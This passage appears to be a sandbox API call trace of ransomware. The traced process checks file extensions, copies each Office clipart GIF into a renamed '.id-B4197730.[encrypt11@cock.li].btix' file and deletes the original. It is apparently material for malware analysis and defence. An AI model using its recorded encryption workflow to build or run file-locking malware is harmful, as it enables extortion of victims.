lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.570] lstrlenW (lpString=".pdf") returned 4 [0050.570] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString=".xls") returned 4 [0050.570] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString=".xlsx") returned 5 [0050.570] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.570] lstrlenW (lpString=".ppt") returned 4 [0050.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.570] lstrlenW (lpString=".zip") returned 4 [0050.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.570] lstrlenW (lpString=".rar") returned 4 [0050.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString=".bz2") returned 4 [0050.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString=".7z") returned 3 [0050.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.570] lstrlenW (lpString=".dbf") returned 4 [0050.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.570] lstrlenW (lpString=".1cd") returned 4 [0050.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString=".jpg") returned 4 [0050.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString=".doc") returned 4 [0050.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString=".docx") returned 5 [0050.571] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.571] lstrlenW (lpString=".pdf") returned 4 [0050.571] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString=".xls") returned 4 [0050.571] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString=".xlsx") returned 5 [0050.571] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.571] lstrlenW (lpString=".ppt") returned 4 [0050.571] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString=".zip") returned 4 [0050.571] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.571] lstrlenW (lpString=".rar") returned 4 [0050.571] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString=".bz2") returned 4 [0050.571] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString=".7z") returned 3 [0050.571] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString=".dbf") returned 4 [0050.571] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString=".1cd") returned 4 [0050.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.571] lstrlenW (lpString=".jpg") returned 4 [0050.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.572] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.572] lstrlenW (lpString="AG00021_.GIF") returned 12 [0050.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.572] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=14873) returned 1 [0050.572] CloseHandle (hObject=0x344) returned 1 [0050.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0050.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.572] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.572] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.573] GetLastError () returned 0x0 [0050.573] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x3a19, lpOverlapped=0x0) returned 1 [0050.660] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x3a20, lpOverlapped=0x0) returned 1 [0050.661] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0050.661] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0050.661] SetEndOfFile (hFile=0x328) returned 1 [0050.661] CloseHandle (hObject=0x328) returned 1 [0050.662] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.662] SetEndOfFile (hFile=0x344) returned 1 [0050.663] CloseHandle (hObject=0x344) returned 1 [0050.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString=".doc") returned 4 [0050.664] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.664] lstrlenW (lpString=".docx") returned 5 [0050.664] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.664] lstrlenW (lpString=".pdf") returned 4 [0050.664] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.664] lstrlenW (lpString=".xls") returned 4 [0050.664] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.664] lstrlenW (lpString=".xlsx") returned 5 [0050.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.664] lstrlenW (lpString=".ppt") returned 4 [0050.664] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString=".zip") returned 4 [0050.664] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.664] lstrlenW (lpString=".rar") returned 4 [0050.664] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.664] lstrlenW (lpString=".bz2") returned 4 [0050.664] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.664] lstrlenW (lpString=".7z") returned 3 [0050.664] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString=".dbf") returned 4 [0050.664] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString=".1cd") returned 4 [0050.664] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString=".jpg") returned 4 [0050.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.665] lstrlenW (lpString=".doc") returned 4 [0050.665] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.665] lstrlenW (lpString=".docx") returned 5 [0050.665] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.665] lstrlenW (lpString=".pdf") returned 4 [0050.665] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.665] lstrlenW (lpString=".xls") returned 4 [0050.665] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.665] lstrlenW (lpString=".xlsx") returned 5 [0050.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.665] lstrlenW (lpString=".ppt") returned 4 [0050.665] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.665] lstrlenW (lpString=".zip") returned 4 [0050.665] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.665] lstrlenW (lpString=".rar") returned 4 [0050.665] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.665] lstrlenW (lpString=".bz2") returned 4 [0050.665] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.665] lstrlenW (lpString=".7z") returned 3 [0050.665] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.665] lstrlenW (lpString=".dbf") returned 4 [0050.665] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.665] lstrlenW (lpString=".1cd") returned 4 [0050.665] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0050.665] lstrlenW (lpString=".jpg") returned 4 [0050.665] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.665] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.666] lstrlenW (lpString="AG00037_.GIF") returned 12 [0050.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.675] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=6684) returned 1 [0050.675] CloseHandle (hObject=0x364) returned 1 [0050.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0050.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.676] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.676] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0050.676] GetLastError () returned 0x0 [0050.676] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0050.900] WriteFile (in: hFile=0x308, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1a20, lpOverlapped=0x0) returned 1 [0050.901] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0050.901] WriteFile (in: hFile=0x308, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0050.901] SetEndOfFile (hFile=0x308) returned 1 [0050.902] CloseHandle (hObject=0x308) returned 1 [0050.902] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.902] SetEndOfFile (hFile=0x364) returned 1 [0050.903] CloseHandle (hObject=0x364) returned 1 [0050.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0050.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.953] lstrlenW (lpString=".doc") returned 4 [0050.953] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.953] lstrlenW (lpString=".docx") returned 5 [0050.953] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.953] lstrlenW (lpString=".pdf") returned 4 [0050.953] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.954] lstrlenW (lpString=".xls") returned 4 [0050.954] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.954] lstrlenW (lpString=".xlsx") returned 5 [0050.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.954] lstrlenW (lpString=".ppt") returned 4 [0050.954] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.954] lstrlenW (lpString=".zip") returned 4 [0050.954] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.954] lstrlenW (lpString=".rar") returned 4 [0050.954] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.954] lstrlenW (lpString=".bz2") returned 4 [0050.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.954] lstrlenW (lpString=".7z") returned 3 [0050.954] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.954] lstrlenW (lpString=".dbf") returned 4 [0050.954] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.954] lstrlenW (lpString=".1cd") returned 4 [0050.954] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.954] lstrlenW (lpString=".jpg") returned 4 [0050.954] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.954] lstrlenW (lpString=".doc") returned 4 [0050.954] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.954] lstrlenW (lpString=".docx") returned 5 [0050.955] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.955] lstrlenW (lpString=".pdf") returned 4 [0050.955] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.955] lstrlenW (lpString=".xls") returned 4 [0050.955] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.955] lstrlenW (lpString=".xlsx") returned 5 [0050.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.955] lstrlenW (lpString=".ppt") returned 4 [0050.955] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.955] lstrlenW (lpString=".zip") returned 4 [0050.955] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.955] lstrlenW (lpString=".rar") returned 4 [0050.955] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.955] lstrlenW (lpString=".bz2") returned 4 [0050.955] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.955] lstrlenW (lpString=".7z") returned 3 [0050.955] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.955] lstrlenW (lpString=".dbf") returned 4 [0050.955] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.955] lstrlenW (lpString=".1cd") returned 4 [0050.955] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0050.955] lstrlenW (lpString=".jpg") returned 4 [0050.955] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.955] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.956] lstrlenW (lpString="AG00057_.GIF") returned 12 [0050.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0050.980] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=11891) returned 1 [0050.980] CloseHandle (hObject=0x364) returned 1 [0050.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0050.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0050.982] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.982] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0050.982] GetLastError () returned 0x0 [0050.982] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2e73, lpOverlapped=0x0) returned 1 [0051.159] WriteFile (in: hFile=0x394, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2e80, lpOverlapped=0x0) returned 1 [0051.160] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.160] WriteFile (in: hFile=0x394, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.160] SetEndOfFile (hFile=0x394) returned 1 [0051.160] CloseHandle (hObject=0x394) returned 1 [0051.161] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.161] SetEndOfFile (hFile=0x308) returned 1 [0051.162] CloseHandle (hObject=0x308) returned 1 [0051.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0051.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0051.162] lstrlenW (lpString=".doc") returned 4 [0051.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.162] lstrlenW (lpString=".docx") returned 5 [0051.162] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.162] lstrlenW (lpString=".pdf") returned 4 [0051.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.162] lstrlenW (lpString=".xls") returned 4 [0051.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.162] lstrlenW (lpString=".xlsx") returned 5 [0051.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.162] lstrlenW (lpString=".ppt") returned 4 